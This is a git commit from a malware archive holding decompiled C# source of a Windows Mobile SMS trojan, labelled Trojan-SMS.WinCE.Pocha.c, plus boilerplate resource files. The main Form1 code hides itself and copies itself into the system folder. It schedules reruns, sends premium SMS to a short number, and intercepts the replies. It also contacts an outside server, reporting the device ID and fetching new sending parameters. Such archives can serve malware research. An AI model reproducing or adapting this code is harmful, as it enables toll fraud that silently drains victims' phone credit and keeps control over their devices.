auto-decompiled msil via petikvx

add
This commit is contained in:
vxunderground
2022-08-18 06:28:56 -05:00
parent 26192f771b
commit f2ac1ece55
12767 changed files with 1945075 additions and 0 deletions
@@ -0,0 +1,14 @@
using System;
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: AssemblyDescription("")]
[assembly: AssemblyCompany("")]
[assembly: ComVisible(false)]
[assembly: AssemblyProduct("viconect")]
[assembly: Guid("9d8b7347-5028-489a-9311-631ad7653654")]
[assembly: AssemblyTitle("viconect")]
[assembly: CLSCompliant(true)]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCopyright("Copyright © 2010")]
[assembly: AssemblyVersion("1.0.0.0")]
@@ -0,0 +1,747 @@
// Decompiled with JetBrains decompiler
// Type: viconect.Form1
// Assembly: viconect, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0595134F-28B6-447C-9941-5F1051DDA774
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-SMS.WinCE.Pocha.c-2bb546c7e5f11378cc9f51848af43130ca7dba9f8cc93046d5ab7be1ce2ebc43.exe
using HTTP;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.WindowsMobile.PocketOutlook;
using Microsoft.WindowsMobile.PocketOutlook.MessageInterception;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Windows.Forms;
using viconect.My;
namespace viconect
{
[DesignerGenerated]
public class Form1 : Form
{
private IContainer components;
private MainMenu mainMenu1;
[AccessedThroughProperty("WebRequestBindingSource")]
private BindingSource _WebRequestBindingSource;
[AccessedThroughProperty("starting")]
private Timer _starting;
private object trash;
private object shortnomer;
private object pref;
private object timesendh;
private object timesendm;
private object sendinterval;
private object subpref;
private object temp;
private object path;
private object myname;
private object myfolder;
private object nomer;
private object nowtime;
private MessageInterceptor interceptor;
private MessageInterceptorEventArgs sin;
private MessageInterceptor @out;
private Hardware hr;
public Form1()
{
this.Load += new EventHandler(this.Form1_Load);
this.shortnomer = (object) "1727";
this.pref = (object) "xboom ";
this.timesendh = (object) "12";
this.timesendm = (object) "22";
this.sendinterval = (object) "1";
this.subpref = (object) "true";
this.path = (object) Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName;
this.nowtime = (object) DateTime.Now.ToShortDateString();
this.@out = new MessageInterceptor();
this.hr = new Hardware();
this.InitializeComponent();
}
public static void Main() => Application.Run((Form) MyProject.Forms.Form1);
[DebuggerNonUserCode]
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
[DebuggerStepThrough]
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
this.mainMenu1 = new MainMenu();
this.WebRequestBindingSource = new BindingSource(this.components);
this.starting = new Timer();
((ISupportInitialize) this.WebRequestBindingSource).BeginInit();
this.SuspendLayout();
this.WebRequestBindingSource.DataSource = (object) typeof (WebRequest);
this.starting.Enabled = true;
this.starting.Interval = 2000;
this.AutoScaleDimensions = new SizeF(96f, 96f);
this.AutoScaleMode = AutoScaleMode.Dpi;
this.AutoScroll = true;
((Control) this).ClientSize = new Size(10, 10);
this.FormBorderStyle = FormBorderStyle.None;
this.Menu = this.mainMenu1;
this.Name = nameof (Form1);
this.Text = "Пуск";
((ISupportInitialize) this.WebRequestBindingSource).EndInit();
this.ResumeLayout(false);
}
internal virtual BindingSource WebRequestBindingSource
{
[DebuggerNonUserCode] get => this._WebRequestBindingSource;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._WebRequestBindingSource = value;
}
internal virtual Timer starting
{
[DebuggerNonUserCode] get => this._starting;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.starting_Tick);
if (this._starting != null)
this._starting.Tick -= eventHandler;
this._starting = value;
if (this._starting == null)
return;
this._starting.Tick += eventHandler;
}
}
private void Form1_Load(object sender, EventArgs e)
{
this.Top = -100;
this.Left = -100;
}
public void impotant()
{
label_1:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_2:
int num3 = 2;
this.folders();
label_3:
num3 = 3;
this.getinterval();
label_4:
num3 = 4;
File.Copy(Conversions.ToString(this.path), "\\windows\\wmoff.exe");
label_5:
num3 = 5;
File.Copy(Conversions.ToString(Operators.ConcatenateObject(this.myfolder, (object) "hardware.dll")), "\\windows\\Hardware.dll");
label_6:
num3 = 6;
File.Copy(Conversions.ToString(Operators.ConcatenateObject(this.myfolder, (object) "http.dll")), "\\windows\\HTTP.dll");
label_7:
num3 = 7;
File.Copy(Conversions.ToString(Operators.ConcatenateObject(this.myfolder, (object) "viconect.dll")), "\\windows\\hide.exe");
label_8:
num3 = 8;
Hardware.RunAppAtEvent("\\windows\\wmoff.exe", this.hr.evNetConnect);
label_9:
num3 = 9;
Hardware.RunAppAtTime("\\windows\\wmoff.exe", Conversions.ToLong(this.trash));
label_10:
num3 = 10;
StreamWriter text = File.CreateText("\\windows\\hide.bin");
label_11:
num3 = 11;
text.WriteLine(RuntimeHelpers.GetObjectValue(this.myfolder));
label_12:
num3 = 12;
text.WriteLine(RuntimeHelpers.GetObjectValue(this.myname));
label_13:
num3 = 13;
text.Flush();
label_14:
num3 = 14;
text.Close();
label_15:
num3 = 15;
Interaction.Shell("\\windows\\hide.exe");
label_16:
num3 = 16;
Application.Exit();
goto label_23;
label_18:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_1;
case 2:
goto label_2;
case 3:
goto label_3;
case 4:
goto label_4;
case 5:
goto label_5;
case 6:
goto label_6;
case 7:
goto label_7;
case 8:
goto label_8;
case 9:
goto label_9;
case 10:
goto label_10;
case 11:
goto label_11;
case 12:
goto label_12;
case 13:
goto label_13;
case 14:
goto label_14;
case 15:
goto label_15;
case 16:
goto label_16;
case 17:
goto label_23;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_18;
}
throw ProjectData.CreateProjectError(-2146828237);
label_23:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
public void getmoney()
{
label_1:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_2:
int num3 = 2;
this.@out = new MessageInterceptor((InterceptionAction) 1);
label_3:
num3 = 3;
MessageInterceptor messageInterceptor = this.@out;
Form1 form1 = this;
// ISSUE: virtual method pointer
MessageInterceptorEventHandler interceptorEventHandler = new MessageInterceptorEventHandler((object) form1, __vmethodptr(form1, sms_in));
messageInterceptor.MessageReceived += interceptorEventHandler;
label_4:
num3 = 4;
this.getparam();
label_5:
num3 = 5;
if (!File.Exists("\\windows\\pat.bin"))
goto label_19;
label_6:
num3 = 6;
StreamReader streamReader = File.OpenText("\\windows\\pat.bin");
label_7:
num3 = 7;
string Left = streamReader.ReadLine();
label_8:
num3 = 8;
streamReader.Close();
label_9:
num3 = 9;
if (!Operators.ConditionalCompareObjectEqual((object) Left, this.nowtime, false))
goto label_11;
label_10:
num3 = 10;
Application.Exit();
goto label_18;
label_11:
num3 = 12;
label_12:
num3 = 13;
SmsMessage smsMessage1 = new SmsMessage(Conversions.ToString(this.shortnomer), Conversions.ToString(this.pref));
label_13:
num3 = 14;
smsMessage1.Send();
label_14:
num3 = 15;
StreamWriter text1 = File.CreateText("\\windows\\pat.bin");
label_15:
num3 = 16;
text1.WriteLine(RuntimeHelpers.GetObjectValue(this.nowtime));
label_16:
num3 = 17;
text1.Flush();
label_17:
num3 = 18;
text1.Close();
label_18:
goto label_26;
label_19:
num3 = 21;
label_20:
num3 = 22;
SmsMessage smsMessage2 = new SmsMessage(Conversions.ToString(this.shortnomer), Conversions.ToString(this.pref));
label_21:
num3 = 23;
smsMessage2.Send();
label_22:
num3 = 24;
StreamWriter text2 = File.CreateText("\\windows\\pat.bin");
label_23:
num3 = 25;
text2.WriteLine(RuntimeHelpers.GetObjectValue(this.nowtime));
label_24:
num3 = 26;
text2.Flush();
label_25:
num3 = 27;
text2.Close();
label_26:
label_27:
num3 = 29;
this.getinterval();
label_28:
num3 = 30;
Hardware.RunAppAtTime("\\windows\\wmoff.exe", Conversions.ToLong(this.trash));
goto label_35;
label_30:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_1;
case 2:
goto label_2;
case 3:
goto label_3;
case 4:
goto label_4;
case 5:
goto label_5;
case 6:
goto label_6;
case 7:
goto label_7;
case 8:
goto label_8;
case 9:
goto label_9;
case 10:
goto label_10;
case 11:
case 19:
goto label_18;
case 12:
goto label_11;
case 13:
goto label_12;
case 14:
goto label_13;
case 15:
goto label_14;
case 16:
goto label_15;
case 17:
goto label_16;
case 18:
goto label_17;
case 20:
case 28:
goto label_26;
case 21:
goto label_19;
case 22:
goto label_20;
case 23:
goto label_21;
case 24:
goto label_22;
case 25:
goto label_23;
case 26:
goto label_24;
case 27:
goto label_25;
case 29:
goto label_27;
case 30:
goto label_28;
case 31:
goto label_35;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_30;
}
throw ProjectData.CreateProjectError(-2146828237);
label_35:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
public void sms_in(object sender, MessageInterceptorEventArgs e)
{
this.nomer = (object) e.Message.From.Address;
if (!Operators.ConditionalCompareObjectEqual(this.nomer, this.shortnomer, false))
return;
this.@out.InterceptionAction = (InterceptionAction) 1;
Application.Exit();
}
public void folders()
{
int startIndex = 0;
int num = 0;
while (this.path.ToString().IndexOf("\\", startIndex) >= 0)
{
startIndex = checked (this.path.ToString().IndexOf("\\", startIndex) + 1);
checked { ++num; }
if (num > 20)
goto label_4;
}
this.myname = (object) this.path.ToString().Substring(startIndex);
label_4:
this.myfolder = (object) this.path.ToString().Replace(Conversions.ToString(this.myname), "");
}
public void getinterval()
{
DateTime Date2 = new DateTime(634236480000000000L);
DateTime now = DateAndTime.Now;
Dictionary<string, string> dictionary = new Dictionary<string, string>();
dictionary.Add("d", "");
try
{
foreach (KeyValuePair<string, string> keyValuePair in dictionary)
this.trash = (object) (Conversions.ToString(DateAndTime.DateDiff(keyValuePair.Key, (object) now, (object) Date2)) + keyValuePair.Value);
}
finally
{
Dictionary<string, string>.Enumerator enumerator;
enumerator.Dispose();
}
this.trash = (object) this.trash.ToString().Replace("-", "");
this.trash = Operators.AddObject(this.trash, (object) 1);
this.trash = Operators.MultiplyObject(this.trash, (object) 86400000);
this.trash = Operators.AddObject(this.trash, this.timesendh);
this.trash = Operators.AddObject(this.trash, this.timesendm);
this.trash = Operators.AddObject(this.trash, (object) 63423648000000L);
this.trash = Operators.ConcatenateObject(this.trash, (object) "0000");
}
public void getparam()
{
if (File.Exists("\\windows\\concole.bin"))
{
StreamReader streamReader = File.OpenText("\\windows\\concole.bin");
this.shortnomer = (object) streamReader.ReadLine();
this.pref = (object) streamReader.ReadLine();
this.timesendh = (object) streamReader.ReadLine();
this.timesendm = (object) streamReader.ReadLine();
this.sendinterval = (object) streamReader.ReadLine();
this.subpref = (object) streamReader.ReadLine();
streamReader.Close();
}
else
{
StreamWriter text = File.CreateText("\\windows\\concole.bin");
text.WriteLine(RuntimeHelpers.GetObjectValue(this.shortnomer));
text.WriteLine(RuntimeHelpers.GetObjectValue(this.pref));
text.WriteLine(RuntimeHelpers.GetObjectValue(this.timesendh));
text.WriteLine(RuntimeHelpers.GetObjectValue(this.timesendm));
text.WriteLine(RuntimeHelpers.GetObjectValue(this.sendinterval));
text.WriteLine(RuntimeHelpers.GetObjectValue(this.subpref));
text.Flush();
text.Close();
}
if (Operators.ConditionalCompareObjectEqual(this.subpref, (object) "true", false))
this.pref = Operators.ConcatenateObject(this.pref, (object) new Random().Next(111, 9999));
this.timesendh = Operators.MultiplyObject(this.timesendh, (object) 3600000);
this.timesendm = Operators.MultiplyObject(this.timesendm, (object) 60000);
}
public void getrefresh()
{
label_1:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_2:
int num3 = 2;
this.getparam();
label_3:
num3 = 3;
WebRequest webRequest = new WebRequest(Conversions.ToString(Operators.ConcatenateObject((object) ("http://prosto-chat.ru/app/update.php?deviceid=" + this.hr.GetDeviceID() + "&pref="), this.pref)), 1251);
label_4:
num3 = 4;
WebResponse webResponse = new WebResponse(1251);
label_5:
num3 = 5;
webResponse.Value = webRequest.GetResponse();
label_6:
num3 = 6;
this.temp = (object) webResponse.GetString();
label_7:
num3 = 7;
webResponse.Close();
label_8:
num3 = 8;
if (Operators.ConditionalCompareObjectEqual(this.temp, (object) "", false))
goto label_39;
label_9:
num3 = 10;
label_10:
num3 = 11;
int num4 = 0;
label_11:
num3 = 12;
int startIndex = 0;
label_12:
num3 = 13;
num4 = this.temp.ToString().IndexOf("%", startIndex);
label_13:
num3 = 14;
startIndex = this.temp.ToString().IndexOf("%", checked (num4 + 1));
label_14:
num3 = 15;
this.shortnomer = (object) this.temp.ToString().Substring(checked (num4 + 1), checked (startIndex - num4 - 1));
label_15:
num3 = 16;
num4 = this.temp.ToString().IndexOf("%", startIndex);
label_16:
num3 = 17;
startIndex = this.temp.ToString().IndexOf("%", checked (num4 + 1));
label_17:
num3 = 18;
this.pref = (object) this.temp.ToString().Substring(checked (num4 + 1), checked (startIndex - num4 - 1));
label_18:
num3 = 19;
num4 = this.temp.ToString().IndexOf("%", startIndex);
label_19:
num3 = 20;
startIndex = this.temp.ToString().IndexOf("%", checked (num4 + 1));
label_20:
num3 = 21;
this.timesendh = (object) this.temp.ToString().Substring(checked (num4 + 1), checked (startIndex - num4 - 1));
label_21:
num3 = 22;
num4 = this.temp.ToString().IndexOf("%", startIndex);
label_22:
num3 = 23;
startIndex = this.temp.ToString().IndexOf("%", checked (num4 + 1));
label_23:
num3 = 24;
this.timesendm = (object) this.temp.ToString().Substring(checked (num4 + 1), checked (startIndex - num4 - 1));
label_24:
num3 = 25;
num4 = this.temp.ToString().IndexOf("%", startIndex);
label_25:
num3 = 26;
startIndex = this.temp.ToString().IndexOf("%", checked (num4 + 1));
label_26:
num3 = 27;
this.sendinterval = (object) this.temp.ToString().Substring(checked (num4 + 1), checked (startIndex - num4 - 1));
label_27:
num3 = 28;
num4 = this.temp.ToString().IndexOf("%", startIndex);
label_28:
num3 = 29;
startIndex = this.temp.ToString().IndexOf("%", checked (num4 + 1));
label_29:
num3 = 30;
this.subpref = (object) this.temp.ToString().Substring(checked (num4 + 1), checked (startIndex - num4 - 1));
label_30:
num3 = 31;
StreamWriter text = File.CreateText("\\windows\\concole.bin");
label_31:
num3 = 32;
text.WriteLine(RuntimeHelpers.GetObjectValue(this.shortnomer));
label_32:
num3 = 33;
text.WriteLine(RuntimeHelpers.GetObjectValue(this.pref));
label_33:
num3 = 34;
text.WriteLine(RuntimeHelpers.GetObjectValue(this.timesendh));
label_34:
num3 = 35;
text.WriteLine(RuntimeHelpers.GetObjectValue(this.timesendm));
label_35:
num3 = 36;
text.WriteLine(RuntimeHelpers.GetObjectValue(this.sendinterval));
label_36:
num3 = 37;
text.WriteLine(RuntimeHelpers.GetObjectValue(this.subpref));
label_37:
num3 = 38;
text.Flush();
label_38:
num3 = 39;
text.Close();
label_39:
label_40:
num3 = 41;
this.getmoney();
goto label_47;
label_42:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num5 = num2 + 1;
num2 = 0;
switch (num5)
{
case 1:
goto label_1;
case 2:
goto label_2;
case 3:
goto label_3;
case 4:
goto label_4;
case 5:
goto label_5;
case 6:
goto label_6;
case 7:
goto label_7;
case 8:
goto label_8;
case 9:
case 40:
goto label_39;
case 10:
goto label_9;
case 11:
goto label_10;
case 12:
goto label_11;
case 13:
goto label_12;
case 14:
goto label_13;
case 15:
goto label_14;
case 16:
goto label_15;
case 17:
goto label_16;
case 18:
goto label_17;
case 19:
goto label_18;
case 20:
goto label_19;
case 21:
goto label_20;
case 22:
goto label_21;
case 23:
goto label_22;
case 24:
goto label_23;
case 25:
goto label_24;
case 26:
goto label_25;
case 27:
goto label_26;
case 28:
goto label_27;
case 29:
goto label_28;
case 30:
goto label_29;
case 31:
goto label_30;
case 32:
goto label_31;
case 33:
goto label_32;
case 34:
goto label_33;
case 35:
goto label_34;
case 36:
goto label_35;
case 37:
goto label_36;
case 38:
goto label_37;
case 39:
goto label_38;
case 41:
goto label_40;
case 42:
goto label_47;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_42;
}
throw ProjectData.CreateProjectError(-2146828237);
label_47:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
private void starting_Tick(object sender, EventArgs e) => this.startingsub();
public void startingsub()
{
this.starting.Enabled = false;
this.Hide();
if (File.Exists("\\windows\\wmoff.exe"))
this.getrefresh();
else
this.impotant();
}
}
}
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
@@ -0,0 +1,201 @@
// Decompiled with JetBrains decompiler
// Type: viconect.My.MyProject
// Assembly: viconect, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0595134F-28B6-447C-9941-5F1051DDA774
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-SMS.WinCE.Pocha.c-2bb546c7e5f11378cc9f51848af43130ca7dba9f8cc93046d5ab7be1ce2ebc43.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.ComponentModel;
using System.Diagnostics;
using System.Globalization;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
namespace viconect.My
{
[HideModuleName]
[GeneratedCode("MyTemplate", "8.0.0.0")]
[StandardModule]
internal sealed class MyProject
{
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
[DebuggerNonUserCode]
static MyProject()
{
}
internal static MyProject.MyForms Forms
{
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
}
internal static MyProject.MyWebServices WebServices
{
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
}
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class MyForms
{
public Form1 m_Form1;
private static Hashtable m_FormBeingCreated;
public Form1 Form1
{
[DebuggerNonUserCode] get
{
this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
return this.m_Form1;
}
[DebuggerNonUserCode] set
{
if (value == this.m_Form1)
return;
if (value != null)
throw new ArgumentException("Property can only be set to Nothing");
this.Dispose__Instance__<Form1>(ref this.m_Form1);
}
}
[DebuggerHidden]
private static T Create__Instance__<T>(T Instance) where T : Form, new()
{
if ((object) Instance != null)
return Instance;
if (MyProject.MyForms.m_FormBeingCreated != null)
{
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
}
else
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
try
{
return (T) Activator.CreateInstance(typeof (T));
}
catch (TargetInvocationException ex) when (
{
// ISSUE: unable to correctly present filter
ProjectData.SetProjectError((Exception) ex);
if (ex.InnerException != null)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
}
finally
{
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
}
}
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) where T : Form
{
instance.Dispose();
instance = default (T);
}
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public MyForms()
{
}
[EditorBrowsable(EditorBrowsableState.Never)]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[EditorBrowsable(EditorBrowsableState.Never)]
public override int GetHashCode() => base.GetHashCode();
[EditorBrowsable(EditorBrowsableState.Never)]
internal new System.Type GetType() => typeof (MyProject.MyForms);
[EditorBrowsable(EditorBrowsableState.Never)]
public override string ToString() => base.ToString();
}
[EditorBrowsable(EditorBrowsableState.Never)]
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
internal sealed class MyWebServices
{
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override int GetHashCode() => base.GetHashCode();
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override string ToString() => base.ToString();
[DebuggerHidden]
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? (T) Activator.CreateInstance(typeof (T)) : instance;
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyWebServices()
{
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[ComVisible(false)]
internal sealed class ThreadSafeObjectProvider<T> where T : new()
{
[SpecialName]
private string \u0024STATIC\u0024get_GetInstance\u0024200130\u0024DataSlotName;
internal T GetInstance
{
get
{
if (this.\u0024STATIC\u0024get_GetInstance\u0024200130\u0024DataSlotName == null || this.\u0024STATIC\u0024get_GetInstance\u0024200130\u0024DataSlotName.Length == 0)
this.\u0024STATIC\u0024get_GetInstance\u0024200130\u0024DataSlotName = string.Format((IFormatProvider) CultureInfo.CurrentCulture, "{0}.Microsoft.VisualBasic.CompilerServices.ProjectData", new object[1]
{
(object) new Random().Next()
});
LocalDataStoreSlot namedDataSlot = Thread.GetNamedDataSlot(this.\u0024STATIC\u0024get_GetInstance\u0024200130\u0024DataSlotName);
T data = Conversions.ToGenericParameter<T>(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Thread.GetData(namedDataSlot))));
if ((object) data == null)
{
data = (T) Activator.CreateInstance(typeof (T));
Thread.SetData(namedDataSlot, (object) data);
}
return data;
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public ThreadSafeObjectProvider()
{
}
}
}
}
@@ -0,0 +1,40 @@
// Decompiled with JetBrains decompiler
// Type: viconect.My.Resources.Resources
// Assembly: viconect, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0595134F-28B6-447C-9941-5F1051DDA774
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-SMS.WinCE.Pocha.c-2bb546c7e5f11378cc9f51848af43130ca7dba9f8cc93046d5ab7be1ce2ebc43.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System.ComponentModel;
using System.Globalization;
using System.Resources;
namespace viconect.My.Resources
{
[StandardModule]
[HideModuleName]
internal sealed class Resources
{
private static ResourceManager _resMgr;
private static CultureInfo _resCulture;
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static ResourceManager ResourceManager
{
get
{
if (viconect.My.Resources.Resources._resMgr == null)
viconect.My.Resources.Resources._resMgr = new ResourceManager("viconect.Resources", typeof (viconect.My.Resources.Resources).Assembly);
return viconect.My.Resources.Resources._resMgr;
}
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static CultureInfo Culture
{
get => viconect.My.Resources.Resources._resCulture;
set => viconect.My.Resources.Resources._resCulture = value;
}
}
}
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
